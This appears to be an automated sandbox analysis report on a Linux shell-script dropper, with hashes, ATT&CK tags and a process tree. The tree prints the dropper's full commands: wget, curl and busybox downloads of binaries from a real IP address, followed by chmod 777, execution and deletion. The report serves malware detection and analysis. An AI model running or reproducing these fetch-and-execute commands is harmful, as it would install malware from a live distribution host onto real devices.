c0342fcafa8963c7731797610b1819ea1b933e2912e890af714cb4ccbe036770

Analysis

max time kernel
37s
max time network
38s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/10/2024, 01:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
Size 10KB
Sample241022-bqb99aybne
SHA256 52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e
MD5 6b048aa51bbc5730545d29ae130f452e
SHA1 8120e6acaa8ae119bcd838a263871c3b72af6988
SHA512 175791fe56233a657cdb58ffb3bb0152d75645171d8e310118f9afe1135af82d14a4908267b0f71bf3670653bbcba28cb14d8b640ebf8e475de1cefa7a20145b
SSDEEP 192:n910nNJYQ8mYtQt8trtAtgtNesrUq910nNJ8AAtQt8trtAtgtd1:0N8m4esrUhP81
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
843	chmod
866	chmod
872	chmod
694	chmod
700	chmod
730	chmod
682	chmod
746	chmod
775	chmod
807	chmod
821	chmod
837	chmod
857	chmod
880	chmod
715	chmod
765	chmod
781	chmod
793	chmod
851	chmod

Executes dropped EXE 19 IoCs

Checks CPU configuration 1 TTPs 19 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 38 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
716	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
882	rm
703	wget
711	busybox
875	wget
876	curl
877	busybox
881	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
707	curl
718	rm

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	curl
File opened for modification	/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	curl
File opened for modification	/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	curl
File opened for modification	/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	curl
File opened for modification	/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	curl
File opened for modification	/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	curl
File opened for modification	/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	curl
File opened for modification	/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	curl
File opened for modification	/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	curl
File opened for modification	/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	curl
File opened for modification	/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	curl
File opened for modification	/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	curl
File opened for modification	/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	curl
File opened for modification	/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	curl
File opened for modification	/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	curl
File opened for modification	/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	curl
File opened for modification	/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	curl
File opened for modification	/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	curl
File opened for modification	/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	curl

/tmp/52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
/tmp/52811800fd025078b51abd1909ceed821fcc108e2b6ab78b3ba2fea2050bc06e.sh
1⤵
PID:655
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:662
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:679
- /bin/chmod
  chmod 777 Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  ./Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Executes dropped EXE
  PID:684
- /bin/rm
  rm Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:685
- /usr/bin/wget
  wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:693
- /bin/chmod
  chmod 777 HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  ./HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Executes dropped EXE
  PID:695
- /bin/rm
  rm HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:696
- /usr/bin/wget
  wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:698
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:699
- /bin/chmod
  chmod 777 UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  ./UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:703
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:711
- /bin/chmod
  chmod 777 BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  ./BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:716
- /bin/rm
  rm BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/wget
  wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:727
- /bin/chmod
  chmod 777 Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  ./Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:732
- /usr/bin/wget
  wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:744
- /bin/chmod
  chmod 777 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  ./7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm 7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:762
- /bin/chmod
  chmod 777 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  ./86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm 86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
  2⤵
  PID:768
- /usr/bin/wget
  wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:774
- /bin/chmod
  chmod 777 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  ./36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm 36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:780
- /bin/chmod
  chmod 777 NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  ./NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:790
- /bin/chmod
  chmod 777 DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  ./DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:804
- /bin/chmod
  chmod 777 UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  ./UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:818
- /bin/chmod
  chmod 777 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  ./6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:834
- /bin/chmod
  chmod 777 HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  ./HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:839
- /usr/bin/wget
  wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:842
- /bin/chmod
  chmod 777 VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  ./VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:845
- /usr/bin/wget
  wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:848
- /bin/chmod
  chmod 777 VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  ./VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:856
- /bin/chmod
  chmod 777 Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  ./Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
  2⤵
  PID:859
- /usr/bin/wget
  wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:865
- /bin/chmod
  chmod 777 HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  ./HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:871
- /bin/chmod
  chmod 777 UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  ./UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  ./BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:881
- /bin/rm
  rm BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/wget
  wget http://87.120.126.196/bins/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
  2⤵
  PID:883

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY

Path /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	684	Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	695	HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	701	UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	716	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	731	Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	747	7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	766	86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	776	36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	782	NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	794	DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	808	UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	822	6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	838	HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	844	VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	852	VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	858	Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
